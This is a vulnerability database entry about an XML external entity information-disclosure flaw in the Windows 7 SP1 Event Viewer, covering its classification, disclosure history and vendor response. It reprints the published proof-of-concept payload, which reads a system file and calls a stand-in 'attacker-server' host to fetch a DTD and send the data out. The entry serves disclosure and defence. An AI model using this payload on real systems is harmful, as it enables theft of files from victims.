Microsoft Windows 7 SP1 Event Viewer File information disclosure

Summaryinfo

A vulnerability categorized as problematic has been discovered in Microsoft Windows 7 SP1. Affected by this vulnerability is an unknown functionality of the component Event Viewer. Such manipulation leads to information disclosure (File). The attack can be launched remotely. Moreover, an exploit is present.

Detailsinfo

A vulnerability, which was classified as problematic, has been found in Microsoft Windows 7 SP1 (Operating System). Affected by this issue is an unknown functionality of the component Event Viewer. The manipulation with an unknown input leads to a information disclosure vulnerability (File). Using CWE to declare the problem leads to CWE-200. The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Impacted is confidentiality.

The weakness was disclosed 12/04/2016 by John Page (hyp3rlinx) as Microsoft Event Viewer v1.0 XML External Entity as not defined mailinglist post (Full-Disclosure). The advisory is available at seclists.org. The public release has been coordinated in cooperation with the vendor. The attack may be launched remotely. No form of authentication is required for exploitation. Technical details are unknown but a public exploit is available. This vulnerability is assigned to T1592 by the MITRE ATT&CK project.

A public exploit has been developed by John Page (hyp3rlinx) and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 96 days. During that time the estimated underground price was around $25k-$100k. The code used by the exploit is:

<?xml version="1.0"?>
<!DOCTYPE APPARITION [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd";>
%dtd;]>
<pwn>&send;</pwn>

The mailinglist post contains the following remark:

Vendor reply: "does not meet the bar for security servicing."

The entries VDB-93964 and VDB-93963 are pretty similar. If you want to get best quality of vulnerability data, you may have to visit VulDB.

Productinfo

Type

• Operating System

Vendor

• Microsoft

Name

• Windows

Version

• 7 SP1

License

• commercial

Support

• end of life (old version)

Website

• Vendor: https://www.microsoft.com/
• Product: https://www.microsoft.com/en-us/windows

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Discussion